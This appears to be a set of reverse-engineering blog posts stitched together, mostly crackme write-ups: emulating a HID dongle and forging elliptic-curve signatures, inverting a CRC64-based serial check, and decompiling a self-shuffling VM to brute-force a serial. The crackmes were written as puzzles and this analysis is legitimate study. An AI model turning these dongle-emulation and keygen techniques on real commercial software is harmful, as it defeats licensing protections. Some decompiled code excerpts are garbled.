That’s it. The resulting ROP shellcode is bigger than the one in [1], but it doesn’t assume anything about registers. There is room for improvement, but in environments where you can spray megabytes of memory with javascript (like in Safari ), size of shellcode is not critical.

You can download the final version here.

References:

[1] Charlie Miller, Mac OS X Hacking (Snow Leopard Edition), 2010

[2] Jon Larimer, Intro to x64 Reversing, 2011

First, we need to learn how our target detects and communicates with the dongle. In this case, since the executable is small and not packed/protected/obfuscated, a quick glance at imports section is sufficient to get to the dongle discovery procedure — HidD_* APIs from hid.dll give it away instantly.

Pseudocode:

#define VENDOR_ID  0x04d8
#define PRODUCT_ID 0x003f

device_t g_device = NULL;

// address: 00401090
bool find_hid_dongle(int vendor_id, int product_id){

    device_t dev;

    while(dev = next_hid_device()){

        if(dev->vid == vendor_id && dev->pid == product_id){
            g_device = dev;
            return TRUE;
        }
    }

    return FALSE;
}

And a high level view of authentication:

bool authenticate(){
    char buffer[N];

    if(!find_hid_dongle(VENDOR_ID, PRODUCT_ID)){
        return FALSE;
    }

    read_dongle(g_device, buffer);

    if(is_valid(buffer)){
        return TRUE;
    }

    return FALSE;
}

To make it even clearer: HID devices installed in the OS are enumerated one by one. Dongle is recognized by specific values of variables exposed by every HID: product_id and vendor_id. If found, device is opened with CreateFile and read with ReadFile (standard windows APIs). Finally, read data is validated. Before creating a dongle, or an emulator, we need to get familiar with HID.

Human interface devices

Human Interface Devices are devices that interact with humans — take input from them and/or present them output. Good examples are mouse and a keyboard. Primary motivation for HID, was to simplify the process of installation of PC input devices. Prior to HID, custom devices were required to implement their own protocols to communicate with the user, which of course forced developers to create custom drivers to handle these protocols, and users to install these drivers. HID protocol makes things simpler. Instead of custom drivers, developers need to “describe” their protocol using HID descriptors. Descriptors are parsed and interpreted by the OS itself, allowing developers to easily create complex devices from pritmitives provided by the OS.

To implement a hardware HID dongle, we can use Teensy, or any compatible clone. I found a Teensy 1.0 clone available for few bucks, preloaded with a PS3 hack . With USB raw hid example it’s trivial to implement a simple dongle that waits for data from our keygen, saves it in EEPROM and then sends it back to the OS, in a loop. If you want to take a look at the implementation, see here.

Creating an emulator is more complicated and requires a HID miniport driver. While it certainly is possible to create it basing only on Win DDK HID samples, it is no easy feat, if you don’t have experience in kernel development. Fortunately, there is an excellent open source project called vmulti, created by Daniel Newton, that does exactly what we need: creates virtual HID devices that can be read / written to. Adapting it to our needs is a technicality that I feel isn’t worth describing, so check the sources if you are interested in details.

Emulator will simply pass stuff received from the keygen to anyone who invokes ReadFile(). Here’s a nice screenshot of device manager with successfully installed emulator:

Authentication

Finally, the most interesting part . To recognize used authentication scheme, make shure to apply IDA signatures for MIRACL bignum library, otherwise you will unnecessarily spend a lot of time identifying functions. Crackme uses elliptic curve cryptography, so it’s very possible that failing to recognize MIRACL usage, would cost you digging deep into the assembly code with slim chances of making any sense out of it.

Cyclops used an elliptic curve variant of Nyber-Rueppel signature scheme. Current user’s username is “hashed” with CRC32. Then, CRC is compared to a message extracted from an ECNR signature read from the dongle. To pass authentication, we need to sign the CRC and push it to the dongle.

Nyberg-Rueppel Signature Scheme

Let be an elliptic curve defined over ( prime) such that contains a cyclic subgroup in which the discrete logarithm problem is intractable.

Let , where . Points and are public, while is secret. For defined as above, for a (secret and random) and for a (message) , define:

where

mod

mod

and

where

This works, because .

Since we now know what cryptosystem we are up against, and how to generate correct signatures, let’s take a look at curve parameters used in the crackme. Since author claims it’s solvable without patching, we expect either:

1. a small curve, where ECDLP can be effectively solved
2. a weak curve, that is suspectible to a cryptographic attack (examples in [3])
3. something tricky

Quick inspection of parameters shows that 1) and 2) are not the case. Used curve is secp112r1, which is bad news for us, since secp* curves (their parameters) are chosen by Certicom research [2], to be optimal for cryptographic purposes. This means they provide maximal possible bit-strength security against fastest known ECDLP solving algorithms and aren’t weakened by special-case attacks.

Before using these curves, you may wonder how were their parameters chosen, after all, maybe NSA helped to pick them . Fortunately, these concerns were anticipated and curves were generated by a SHA-1 powered PRNG, seeded with a known value and then checked for desired properties, so no parameter could be predetermined. Since seeds and PRNG implementation are public [2], you can even repeat the process and verify chosen curves yourself.

We are left with option 3). Before doing anything complicated, I wanted to check if the ECDLP from crackme was referenced anywhere on the Internet. secp112r1 parameters () are common and won’t provide any interesting clues, but coordinates of point  (or , using Certicom’s nomenclature) could, as cyclops decided to use a non-standard base point.

Searching for 9487239995A5EE76B55F9C2F098 ( coord. of ) yields nothing of interest, but searching for 188281465057972534892223778713752 (same value, but in base 10) turns out to be a bull’s eye .

In 2009, Bos, Marcelo, Kaihara, Kleinjung, Lenstra and Montgomery solved an ECDLP over secp112r1, using 200 PS3 consoles. ECDLP instance they were solving was , where

P = (188281465057972534892223778713752, 3419875491033170827167861896082688),

Q = (1415926535897932384626433832795028, 3846759606494706724286139623885544).

Solution (which took ~6 months to find) is k=312521636014772477161767351856699. The exact same ECDLP is used in our crackme, so fortunately, all we have to do is to implement Nyber-Rueppel scheme and use above to emit correct signatures .

See here for sources (dongle\ folder, crackme in crackme\ ).

References

[1] Henna Pietiläinen, Elliptic curve cryptography on smart cards, page 24, http://goo.gl/Lpr4h

[2] Certicom Research, SEC 2: Recommended Elliptic Curve Domain Parameters, 2000, http://goo.gl/sJV5A

[3] Matthew Musson, Attacking the Elliptic Curve Discrete Logarithm Problem, http://goo.gl/L4Dz8

Surprisingly, no one was able to solve the crackme during the con, except for simonzack, who apparently wasn’t an attendee. Simon posted a solution few days ago, you can read it on his blog.

I didn’t plan to participate, because I didn’t want to spend time analyzing crackmes during lectures, besides I didn’t even take a laptop with me, as I figured few days without staring at a screen would have a good impact on my mental health . Luckily, since no attendee provided a solution, organizers decided to prolong the contest, so I was able to take a look at the crackme after I got back from the con.

Fun

I won’t bore you with deadlistings this time, but provide a high-level view of the protection and my approach.

def check(name, serial):
    hash = hash(name) #identified as CubeHash, by Dcoder
    d1, d2 = mangle(hash+serial)
    return d1==const1 and d2==const2

Serial is a 64-bit number. Function mangle consumes whole input buffer, one dword at a time and returns two 32-bit values. Since we can’t control hash variable, we’ll have to use serial to force mangle to return expected values (const1, const2).

The main problem is that mangle is very long (~10KB) and “obfuscated” with heavy macro use. Analysing it by hand seemed like a boring thing to do.

By the look of this function (mostly bit manipulations) and considering the fact that it takes a big buffer, with serial appended at the end I started suspecting it’s some kind of CRC. “Reversing” a N-bit CRC requires only N-bits of input (see this, or this). That means if you have a buffer, and want (for example) CRC32 of that buffer to be X, you need to append a special DWORD at the end. You don’t need to bruteforce this magic DWORD, you can compute it easily.

By evaluating mangle on some constants you will notice its results don’t match those of a standard CRC64. Perhaps this function isn’t CRC at all? There is one property that all variants of CRC64 should share: linearity. Every CRC (starting value and polynomial don’t matter) is a homomorphism with respect to XOR:

Proof here (appendix A). Quick check in a debugger shows that’s indeed the case.

With this information, we can easily reimplement the algorithm, by observing that any value can be represented as a XOR of powers of 2. For example:

Generally, let , then (our variant takes one dword at a time):

As a consequence, it’s sufficient to compute for , to be able to evaluate for any input. We can use the crackme itself to compute these values, with a bit of OllyScript magic .

Here’s the reimplemented CRC64:

def crc64(hi, lo, tab, dw): #tab is the ripped table
    HI = 0
    LO = 1

    old_lo = lo

    lo = 0
    hi = 0
    for pos in range(32):
        b = dw>>pos
        b = b & 1
        if b:
            hi ^= tab[pos][HI]
            lo ^= tab[pos][LO]

    return (hi^old_lo,lo)

Much better than ~10KB of code .
Back when I was solving it, time was of essence — I didn’t knew with how many people I’m racing for a solution, so instead of reversing this algorithm (it’s a set of linear equations, tab is a matrix, dword a vector, and it can be solved fast with gaussian elimination, for example) I ported it to C and bruteforced a solution (~10 mins).

There are few technicalities left out. Producing a working serial is a bit more complicated, than just reversing the CRC, but in my opinion that was the biggest obstacle worth describing.

So here it is, a working serial number:

pa_kt
7e476857-pcp1aa1agslatl3tptgs

Crackme and sources are available here.

Profit

These photos could have been better, sorry about that . If you are wondering: the OS is just custom a linux distro, you can upload your binaries and run them without any restrictions, so there is nothing to break, unfortunately .

Speaking of linux, crackme unpacks an ELF binary from its resources (.rsrc section) and cleverly maps into it’s own address space. It’s quite cool, so check it out .

Let’s see what we are up against.

Looks nice .

There are four columns consisting of four symbols. Each column has it own color, so that makes 16 unique symbols, easy math there . Since serial’s length is also 16 characters, we can’t bruteforce a solution — total number of combinations is , 64 bits is outside of our reach, unless you have resources comparable to those of disitributed.net at your disposal.

First thing we need to do is to identify a procedure that checks if the serial we provided is correct. Normally, we would look at cross-references (in IDA) for the message informing about success / failure, but in this case we can’t — crackme stores these messages as images, not strings, so we need to try something different.

Let’s try to follow execution from the beginning, to see how the main window is created, that should give us information about the window’s procedure and how it processes messages.

.text:004015BC                 push    offset stru_40D000 ; WNDCLASSEXA *
.text:004015C1                 call    RegisterClassExA
(...)
.text:00401625                 push    0               ; lpParam
.text:00401627                 push    ebx             ; hInstance
.text:00401628                 push    0               ; hMenu
.text:0040162A                 push    0               ; hWndParent
.text:0040162C                 push    190h            ; nHeight
.text:00401631                 push    190h            ; nWidth
.text:00401636                 push    esi             ; Y
.text:00401637                 push    eax             ; X
.text:00401638                 push    90000000h       ; dwStyle
.text:0040163D                 push    offset WindowName ; "Pimp CrackMe"
.text:00401642                 push    offset ClassName ; "i"
.text:00401647                 push    0               ; dwExStyle
.text:00401649                 call    CreateWindowExA

Structure WNDCLASSEXA in this case is:

.data:0040D000 stru_40D000     WNDCLASSEXA <30h, 0, offset windows_proc, 0, 0,
0, 0, 0, 5, 0, \
.data:0040D000                              offset ClassName, 0> ; "i"

windows_proc is, as name suggests, the message handling procedure of the main window. Let’s look inside.

  if ( Msg == WM_PAINT )
  {
    if ( (unsigned __int8)thread_spawned ^ 1 )
    {
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)paint_thread, 0, 0, &ThreadId);
      thread_spawned = 1;
    }
    hdc = BeginPaint(hWnd, &Paint);
    StretchDIBits(hdc, 0, 0, 400, 400, 0, 0, 400, 400, lpBits, &bmi, 0, 0xCC0020u);
    EndPaint(hWnd, &Paint);
    return 0;
  }

Now, inside paint_thread:

.text:00402A18                 mov     eax, [ebp+var_4]
.text:00402A1B                 mov     cl, byte_40D040[eax]
.text:00402A21                 movzx   eax, cl
.text:00402A24                 mov     edx, 0
.text:00402A29                 mov     ecx, 0Fh
.text:00402A2E                 sub     ecx, [ebp+var_4]
.text:00402A31                 shl     ecx, 2
.text:00402A34                 shld    edx, eax, cl
.text:00402A37                 shl     eax, cl
.text:00402A39                 test    cl, 20h
.text:00402A3C                 jz      short loc_402A42
.text:00402A3E                 mov     edx, eax
.text:00402A40                 xor     eax, eax
.text:00402A42
.text:00402A42 loc_402A42:
.text:00402A42                 or      [ebp+var_10], eax
.text:00402A45                 or      [ebp+var_C], edx
.text:00402A48                 inc     [ebp+var_4]
.text:00402A4B
.text:00402A4B loc_402A4B:
.text:00402A4B                 cmp     [ebp+var_4], 0Fh
.text:00402A4F                 jle     short loc_402A18
.text:00402A51                 mov     ds:serial_length, 0
.text:00402A5B                 sub     esp, 4
.text:00402A5E                 push    10h             ; Size
.text:00402A60                 push    0FFh            ; Val
.text:00402A65                 push    offset byte_40D040 ; Dst
.text:00402A6A                 call    memset
.text:00402A6F                 add     esp, 10h
.text:00402A72                 sub     esp, 8
.text:00402A75                 push    [ebp+var_C]
.text:00402A78                 push    [ebp+var_10]
.text:00402A7B                 call    check_serial
.text:00402A80                 add     esp, 10h
.text:00402A83                 test    al, al
.text:00402A85                 jz      short loc_402AA4
.text:00402A87                 mov     ds:goodboy_flag, 1
.text:00402A8E                 mov     eax, 41F00000h
.text:00402A93                 mov     flt_40D034, eax
.text:00402A98                 push    0
.text:00402A9A                 call    sub_4013B0
.text:00402A9F                 add     esp, 4
.text:00402AA2                 jmp     short loc_402ABF

How did I knew we should focus on this part? That code just looks suspicious . Part at the beginning is a loop with 16 (number of characters in serial) iterations, converting something from a buffer (byte_40D040) to a 64-bit number. Stepping through that code in a debugger reveals, that byte_40D040 holds characters of the serial number, “encoded” as follows:

0  4  8  c
1  5  9  d
2  6  a  e
3  7  b  f

So the green triangle from the first column is 0, and the purple triangle from last column is 0xC. Forcing path down to 00402A87 sets the “goodboy” flag and makes the crackme display congratulations. We are not interested in patching, as that would be too easy. Besides, authors explicitly forbid it.

We need to take a look at check_serial function. I’ll skip the part about how to actually understand the disassembly, since it’s a topic in itself, and move straight to the semantics. Here is an approximate decompilation of the serial-checking function.

//.text:004039AE
bool __cdecl check_serial2(int sn1, int sn2)
{
  int param_ptr; // ST14_4@4
  int v3; // ecx@19
  signed int v4; // eax@19
  bool v6; // [sp+0h] [bp-28h]@2
  int v7; // [sp+8h] [bp-20h]@1
  int opcode_ptr; // [sp+Ch] [bp-1Ch]@3
  unsigned __int8 vm_opcode; // [sp+13h] [bp-15h]@4
  int vm_argument; // [sp+14h] [bp-14h]@4
  int vm_proc; // [sp+18h] [bp-10h]@4
  int vm_result; // [sp+1Ch] [bp-Ch]@12
  int vm_resulta; // [sp+1Ch] [bp-Ch]@23
  int i; // [sp+20h] [bp-8h]@4

  v7 = 0;
  if ( sub_403950() == 0 )
  {
    v6 = 0;
  }
  else
  {
    sn1_copy = sn1;
    sn_nibble = sn1 & 0xF;
    *(_DWORD *)vm_reg4 = sn2;
    opcode_ptr = 0;
    while ( 1 )
    {
      if ( vm_code_size = 0 )
        {
          if ( vm_result > 0 )
          {
            if ( opcode_ptr + 5 * vm_result >= (unsigned int)vm_code_size )
              return 0;
            opcode_ptr += 5 * vm_result;
          }
        }
        else
        {
          vm_resulta = -vm_result;
          if ( opcode_ptr + -5 * vm_resulta < 0 )
            return 0;
          opcode_ptr += -5 * vm_resulta;
        }
      }
    }
    v6 = v7 == 8;
  }
  return v6;
}

This might be confusing at first glance, so let’s simplify it further.

// sn1 - first dword of our serial
// sn2 - second dword
// op_ptr is a pointer to current VM opcode
// vm_code is a table containing opcodes and arguments: [op1,arg1,op2,arg2,...]
// vm_reg4 - virtual register 4

op_ptr = 0;
vm_reg4 = sn2;
while(1){
    vm_op = fetch_opcode(op_ptr, vm_code);
    vm_arg = fetch_arg(op_ptr+1, vm_code);
    vm_proc = fetch_proc(vm_op, handlers);

    op_ptr += 5;

    result = vm_call(vm_proc, vm_arg);

    if(result == 0xBADC0FFE)
        break;

    if(result == 0xDEADBEEF){
        if(vm_reg1 != constants[i])
            return 0;

        i++;
        sn_part = trim(sn1, i);
    }
    else{
        if(result >= 0){
            if(result > 0)
                if(op_ptr + result >= vm_code_size)
                    return 0;
        }
        else{
            if(op_ptr + result < 0)
                return 0;
        }

        op_ptr += result;
    }
}

return (i==8);

Much better . We see that there are two values with special meaning. One, 0xBADC0FFE is a signal to terminate the VM. Second one 0xDEADBEEF is a signal to compare the contents of one of the virtual registers (vm_reg1) against a constant from a table. If the comparision fails, serial is rejected (return 0).

If the value returned from vm_call isn’t one of the above magic constant, VM treats it as a jump displacement, by updating op_ptr (op_ptr += result). Before update VM checks if displacement is in correct range, as jumping after or before the vm_code buffer would result in executing trash

Notice that our 64-bit serial is split into two 32-bit parts: sn1 and sn2. sn2 is copied to VM_REG4, so it seems that only this part in mangled by the VM, as sn1 is used to set an additional variable sn_part, using function “trim”:

unsigned int trim(n, i){
    int x, y;
    x = 4*(i+1);
    y = n<<x;
    if(x & 0x20)
        y = 0;
    return (n & (y-1));
}

This will play a role later on.

Finally, last return statement (return (i==8)) tells us, that all 8 comparisions must succeed, otherwise crackme will reject our serial.

That doesn’t seem so bad, we just need to decompile the embedded VM code and reverse/bruteforce whatever computation it performs on sn2. We should expect some kind of trickery, since it’s unlikely that sn1 is simply ignored.

Let’s take a look at the VM handlers.

.data:0091FE20 handlers_procs  dd offset handlers_proc
.data:0091FE24 ; char handlers_op[]
.data:0091FE24 handlers_op     dd 1
.data:0091FE24
.data:0091FE28 off_91FE28      dd offset vm_mix_handlers
.data:0091FE28
.data:0091FE2C ; int handlers[]
.data:0091FE2C handlers        dd 0
.data:0091FE2C
.data:0091FE30 ; int dword_91FE30[]
.data:0091FE30 dword_91FE30    dd 0
.data:0091FE30
.data:0091FE34                 dd offset handlers_proc
.data:0091FE38                 dd 2
.data:0091FE3C                 dd offset vm_DIE
.data:0091FE40                 dd 0
.data:0091FE44                 dd 0
.data:0091FE48                 dd offset handlers_proc
.data:0091FE4C                 dd 3
.data:0091FE50                 dd offset vm_JMP
.data:0091FE54                 dd 0
.data:0091FE58                 dd 0
.data:0091FE5C                 dd offset handlers_proc
.data:0091FE60                 dd 4
.data:0091FE64                 dd offset vm_JZ
.data:0091FE68                 dd 0
.data:0091FE6C                 dd 0
.data:0091FE70                 dd offset handlers_proc
.data:0091FE74                 dd 5
.data:0091FE78                 dd offset vm_JNZ
.data:0091FE7C                 dd 0
.data:0091FE80                 dd 0
.data:0091FE84                 dd offset handlers_proc
.data:0091FE88                 dd 6
.data:0091FE8C                 dd offset vm_mov_hostReg1_reg1
.data:0091FE90                 dd 0
.data:0091FE94                 dd 0
.data:0091FE98                 dd offset handlers_proc
.data:0091FE9C                 dd 7
.data:0091FEA0                 dd offset vm_mov_reg1_hostReg1
.data:0091FEA4                 dd 0
.data:0091FEA8                 dd 0
.data:0091FEAC                 dd offset handlers_proc
.data:0091FEB0                 dd 8
.data:0091FEB4                 dd offset vm_fancy_call
.data:0091FEB8                 dd 0
.data:0091FEBC                 dd 0
.data:0091FEC0                 dd offset handlers_proc
.data:0091FEC4                 dd 9
.data:0091FEC8                 dd 0
.data:0091FECC                 dd offset vm_mov_mem_reg1
.data:0091FED0                 dd 3Ah
.data:0091FED4                 dd offset handlers_proc
.data:0091FED8                 dd 0Ah
.data:0091FEDC                 dd 0

Handlers aren’t obfuscated in any way, so it’s easy to identify what they do by just looking at them. For example:

.text:0040301E vm_DIE          proc far
.text:0040301E
.text:0040301E var_4           = dword ptr -4
.text:0040301E
.text:0040301E                 push    ebp
.text:0040301F                 mov     ebp, esp
.text:00403021                 sub     esp, 10h
.text:00403024                 mov     [ebp+var_4], 0BADC0FFEh
.text:0040302B                 mov     eax, [ebp+var_4]
.text:0040302E                 leave
.text:0040302F                 retf
.text:0040302F vm_DIE          endp

.data:0091F740 vm_or_reg1_reg2 proc far
.data:0091F740                 mov     esi, 0FFF0h
.data:0091F745                 cmp     esi, 0FFFDh
.data:0091F74B                 jb      short loc_91F754
.data:0091F74D                 xor     eax, eax
.data:0091F74F                 xor     edx, edx
.data:0091F751                 retf    4
.data:0091F754 ; ---------------------------------------------------------------------------
.data:0091F754
.data:0091F754 loc_91F754:
.data:0091F754                 mov     ebx, [edi+0FFF0h]
.data:0091F75A                 mov     esi, 0FFF4h
.data:0091F75F                 cmp     esi, 0FFFDh
.data:0091F765                 jb      short loc_91F76E
.data:0091F767                 xor     eax, eax
.data:0091F769                 xor     edx, edx
.data:0091F76B                 retf    4
.data:0091F76E ; ---------------------------------------------------------------------------
.data:0091F76E
.data:0091F76E loc_91F76E:
.data:0091F76E                 mov     ecx, [edi+0FFF4h]
.data:0091F774                 or      ebx, ecx
.data:0091F776                 mov     [edi+0FFF0h], ebx
.data:0091F77C                 xor     eax, eax
.data:0091F77E                 xor     edx, edx
.data:0091F780                 retf    4
.data:0091F780 vm_or_reg1_reg2 endp

.data:0091F520 vm_add_reg1_param proc far
.data:0091F520
.data:0091F520 arg_0           = dword ptr  8
.data:0091F520
.data:0091F520                 mov     esi, 0FFF0h
.data:0091F525                 cmp     esi, 0FFFDh
.data:0091F52B                 jb      short loc_91F534
.data:0091F52D                 xor     eax, eax
.data:0091F52F                 xor     edx, edx
.data:0091F531                 retf    4
.data:0091F534 ; ---------------------------------------------------------------------------
.data:0091F534
.data:0091F534 loc_91F534:
.data:0091F534                 mov     ebx, [edi+0FFF0h]
.data:0091F53A                 mov     ecx, [esp+arg_0]
.data:0091F53E                 add     ebx, ecx
.data:0091F540                 mov     [edi+0FFF0h], ebx
.data:0091F546                 xor     eax, eax
.data:0091F548                 xor     edx, edx
.data:0091F54A                 retf    4
.data:0091F54A vm_add_reg1_param endp

.text:004031B5 vm_JZ           proc far
.text:004031B5
.text:004031B5 arg_0           = dword ptr  0Ch
.text:004031B5
.text:004031B5                 push    ebp
.text:004031B6                 mov     ebp, esp
.text:004031B8                 mov     eax, ds:vm_reg3
.text:004031BD                 mov     eax, [eax]
.text:004031BF                 test    eax, eax
.text:004031C1                 jz      short loc_4031C8
.text:004031C3                 mov     eax, [ebp+arg_0]
.text:004031C6                 leave
.text:004031C7                 retf
.text:004031C8 ; ---------------------------------------------------------------------------
.text:004031C8
.text:004031C8 loc_4031C8:
.text:004031C8                 xor     eax, eax
.text:004031CA                 leave
.text:004031CB                 retf
.text:004031CB vm_JZ           endp

With all handlers identified, it’s easy to write a script for IDA that disassembles the VM code. Let’s take a look at the output (scroll down to get the script).

0:	[0a]	vm_mov_reg1_mem 0xfffc
1:	[06]	vm_mov_hostReg1_reg1 0x0
2:	[12]	vm_and_reg1_param 0xf
3:	[19]	vm_shl_reg1_param 0x6
4:	[09]	vm_mov_mem_reg1 0x10
5:	[07]	vm_mov_reg1_hostReg1 0x0
6:	[06]	vm_mov_hostReg1_reg1 0x0
7:	[0a]	vm_mov_reg1_mem 0x14
8:	[0b]	vm_mov_reg2_mem 0x10
9:	[0f]	vm_cmp_reg1_reg2 0x0
10:	[16]	vm_add_reg1_param 0x1
11:	[09]	vm_mov_mem_reg1 0x14
12:	[04]	vm_JZ 11
13:	[07]	vm_mov_reg1_hostReg1 0x0
14:	[08]	vm_fancy_call 0x1
15:	[14]	vm_not_reg1 0x0
16:	[08]	vm_fancy_call 0x3
17:	[0b]	vm_mov_reg2_mem 0x14
18:	[10]	vm_xor_reg1_reg2 0x0
19:	[08]	vm_fancy_call 0x2
20:	[16]	vm_add_reg1_param 0xdeadbeefL
21:	[17]	vm_rol_reg1_param 0x7
22:	[08]	vm_fancy_call 0x0
23:	[03]	vm_JMP -18
24:	[07]	vm_mov_reg1_hostReg1 0x0
25:	[01]	vm_mix_handlers 0x0
##########
0:	[1b]	vm_mul_reg1_reg2 0x0
1:	[02]	vm_DIE 0x14
2:	[14]	vm_not_reg1 0xfffc
3:	[12]	vm_and_reg1_param 0x0
4:	[04]	vm_JZ 4
5:	[17]	vm_rol_reg1_param 0xf
6:	[0e]	vm_xchg_reg1_reg2 0x6
7:	[02]	vm_DIE 0x10
8:	[15]	vm_add_reg1_reg2 0x0
9:	[12]	vm_and_reg1_param 0x0
10:	[14]	vm_not_reg1 0x14
11:	[09]	vm_mov_mem_reg1 0x10
12:	[07]	vm_mov_reg1_hostReg1 0x0
13:	[08]	vm_fancy_call 0x1
14:	[02]	vm_DIE 0x14
15:	[11]	vm_and_reg1_reg2 0xb
16:	[15]	vm_add_reg1_reg2 0x0
17:	[06]	vm_mov_hostReg1_reg1 0x5
18:	[16]	vm_add_reg1_param 0x0
19:	[05]	vm_JNZ 0
20:	[06]	vm_mov_hostReg1_reg1 0x7
21:	[13]	vm_or_reg1_reg2 0x0
22:	[06]	vm_mov_hostReg1_reg1 0x6
23:	[0a]	vm_mov_reg1_mem 0x0
24:	[06]	vm_mov_hostReg1_reg1 0x4

Second column is the instruction’s opcode. Numeric constant after each instruction is its parameter. Some instructions don’t take parameters, in which case the constant is 0.

First part of the decompilation looks nice — there is a loop with some arithmetic mangling, the usual thing you’d expect from a serial checking procedure in a crackme.

The second part looks wrong. There are premature VM_DIE instructions (we expect only one at the very end of code), jumps with nonsensical displacements, like vm_JNZ 0 (jmp $) and no-parameter instructions with parameters, like vm_NOT reg1, 0xfffc.

Answer to this mystery resides in implementation of vm_mix_handlers instruction. Try to take a look at it yourself and guess what it does, the address is 00403039. You won’t be able to debug it (or any other handler), due to some clever trickery, already described in detail by j00ru here.

Here’s a decompilation:

def mutate(handlers):
    for j in range(2, len(handlers)):
        k = prng()
        k = (k % 0x1B)+2
        t = handlers[j]
        handlers[j] = handlers[k]
        handlers[k] = t
    return handlers

def prng():
    global seed #=sn_part = trim(sn1, i)

    v0 = ((10009 * seed + 31337) % 2**32) % 100000007
    seed = 5 * seed + 1337;
    seed = seed % 2**32
    return v0

As we can see, handlers are mixed using a pseudo random number generator (PRNG), seeded with sn_part (sn_part = trim(sn1,i)) and that’s why we got garbage instead of clean code during decompilation, apparently seed wasn’t correct. The nice thing about this scheme is how the seed is computed. Each time the PRNG is used, there are only 16 possible disassemblies, since after each vm_mix_handlers, only one nibble from sn1 is copied to sn_part (scroll up for implementation of trim).

It’s clear what we need to do. We should generate all 16 possible disassemblies and recognize the correct one automatically. I used only two heuristics: presence of premature VM_DIE instructions and presence of no-parameter instructions with params, like OP reg1, reg2, param.

I won’t paste the disassembled code, as it’s rather repetitive — there are few loops with arithmetic operations on sn2, nothing extreme . The important thing is, there are three possible values of sn1, resulting in correct VM code being executed: 0x39845c67, 0xc9845c67, 0xd9845c67.

With first part out of the way, let’s work on the second one. After porting the decompiled code to C, we notice that reversing parts of the algorithm may be tricky:

inline int  vm_fancy0(int a1)
{
  signed int v2; // [sp+4h] [bp-Ch]@1
  int v3; // [sp+8h] [bp-8h]@1
  unsigned int i; // [sp+Ch] [bp-4h]@1

  v2 = 63689;
  v3 = 0;
  for ( i = 0; i <= 0x1F; ++i )
  {
    v3 = v2 * v3 + i * a1;
    v2 *= 378551;
  }
  return v3;
}
inline unsigned int round0(unsigned int sn2, unsigned char *mem){
    unsigned int r1, r2, hr1,tmp1,tmp2;

    tmp1 = tmp2 = 0;
    r1 = sn2;
    hr1 = r1;
    r1 = r1 & 0xF;
    r1 = r1 << 6;
    tmp1 = r1;
    r1 = hr1;
    while(1){
        hr1 = r1;
        r1 = tmp2;
        r2 = tmp1;
        r1 += 1;
        tmp2 = r1;
        if(r1-1 == r2)
            break;
        r1 = hr1;
        r1 = vm_fancy1(r1);
        r1 = ~r1;
        r1 = vm_fancy3(r1);
        r2 = tmp2;
        r1 = r1 ^ r2;
        r1 = vm_fancy2(r1);
        r1 += 0xdeadbeef;
        r1 = rol(r1, 7);
        r1 = vm_fancy0(r1);
    }
    r1 = hr1;
    // mix_handlers 0

    // cleanup
    tmp1 = 0;
    tmp2 = 0;

    return r1;
}

vm_fancy* functions are similiar — they are all hard to reverse and loop the same number of times (32). There are eight rounds (8 functions similiar to round0), but porting them all to C isn’t really necessary. Since all of them take the same dword as an input (sn2), we can bruteforce only first two. Chance that a particular value passes first two checks, but not all eight is negligibly small, assuming all rounds are indepented and random bijections.

Bruteforce isn’t out of reach. To check all 32-bit values, we need to perform about operations ( is the counter of round0 function). That’s a lot, but fortunately I had access to a 23-processor machine, so bruteforcing took less than a day .

Solution

First dword is one of: 0x39845c67, 0xc9845c67, 0xd9845c67.
Second dword is: 0xaed6334b.

Fun facts

1. There are few 32-bit values for sn2 that pass more than one, but less than eight of crackme’s checks. That seems surprising, because assuming that all rounds are random and independent bijections, probability of finding a value that passes two checks is equal to . Observing so many “collisions” suggests, that sizes of images of these hash-like functions are significantly smaller than their domains.

2. With some dedication it might be possible to put the crackme in a inifinite loop. Since bad sn1 results in garbage code being executed, it is probable that one of the  disassemblies include an undonditional vm_JMP instruction with negative parameter. With some luck it could hang the VM (assuming there would be no premature vm_DIE instructions before vm_JMP and no jumps over it). I talked with j00ru about this, and this problem was anticipated, but protecting against it was considered to be an overkill, after all, it’s just a crackme, and bruteforcing for such a magic looping dword seems pointless .

You can get the decompiler script and the bruteforcer from my github account here.